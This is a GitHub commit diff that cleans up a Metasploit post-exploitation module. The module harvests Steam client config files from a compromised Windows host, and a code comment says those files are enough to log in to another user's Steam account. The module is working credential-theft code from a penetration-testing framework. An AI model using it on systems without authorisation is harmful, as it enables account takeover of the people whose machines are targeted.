Skip to content

Commit 3e81fb2

Browse files
author
jvazquez-r7
committed
last cleanup for steam.rb
1 parent 87f6b8b commit 3e81fb2

File tree

1 file changed

+19
-25
lines changed
  • modules/post/windows/gather/credentials

1 file changed

+19
-25
lines changed

modules/post/windows/gather/credentials/steam.rb

Lines changed: 19 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,10 @@
1-
##
2-
# $Id: steam.rb
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
84
# web site for more information on licensing and terms of use.
95
# http://metasploit.com/
106
##
117

12-
##
13-
# All that is needed to login to another Steam account is config.vdf,
14-
# setting the AutoLoginUser to the proper username and RememberPassword
15-
# to 1 in SteamAppData.vdf.
16-
# Only tested on Win7 x64
17-
#
18-
# config.vdf , ContentCache element holds a K,V table of what appears
19-
# to be UniqueID, Session. This is purely speculation as I have not
20-
# reversed it to check. However the key is always unique to the account
21-
# and the value changes whenever the account is logged out and then
22-
# back in.
23-
##
24-
258
require 'msf/core'
269
require 'msf/core/post/file'
2710

@@ -42,6 +25,16 @@ def initialize(info={})
4225
))
4326
end
4427

28+
# All that is needed to login to another Steam account is config.vdf,
29+
# setting the AutoLoginUser to the proper username and RememberPassword
30+
# to 1 in SteamAppData.vdf.
31+
# Only tested on Win7 x64
32+
#
33+
# config.vdf , ContentCache element holds a K,V table of what appears
34+
# to be UniqueID, Session. This is purely speculation as I have not
35+
# reversed it to check. However the key is always unique to the account
36+
# and the value changes whenever the account is logged out and then
37+
# back in.
4538
def run
4639
steamappdata = 'SteamAppData.vdf'
4740
steamconfig = 'config.vdf'
@@ -50,25 +43,26 @@ def run
5043
# Steam client is only 32 bit so we need to know what arch we are on so that we can use
5144
# the correct program files folder.
5245
# We will just use an x64 only defined env variable to check.
53-
if not expand_path('%ProgramFiles(X86)%').empty?
46+
if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/
5447
progs = expand_path('%ProgramFiles(X86)%') #x64
5548
else
5649
progs = expand_path('%ProgramFiles%') #x86
5750
end
58-
path = progs + '\\Steam\\config\\'
51+
path = progs + '\\Steam\\config'
5952

6053
print_status("Checking for Steam configs in #{path}")
6154

6255
# Check if all the files are there.
63-
# I know the path[0..-2] is ugly but directory? does not permit trailing slashes.
64-
if directory?(path[0..-2]) && file?(path+steamappdata) && file?(path+steamconfig)
56+
if directory?(path) && file?("#{path}\\#{steamappdata}") && file?("#{path}\\#{steamconfig}")
6557
print_status("Located steam config files.")
66-
sad = read_file(path+steamappdata)
58+
sad = read_file("#{path}\\#{steamappdata}")
6759
if sad =~ /RememberPassword\W*\"1\"/
6860
print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
69-
scd = read_file(path+steamconfig)
70-
store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
71-
store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
61+
scd = read_file("#{path}\\#{steamconfig}")
62+
steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
63+
print_good("The file SteamAppData.vdf has been stored on #{steam_app_data_path}")
64+
steam_config_path = store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
65+
print_good("The file config.vdf has been stored on #{steam_config_path}")
7266
print_status("Steam configs harvested successfully!")
7367
else
7468
print_error("RememberPassword is not set, exiting.")

0 commit comments

Comments
 (0)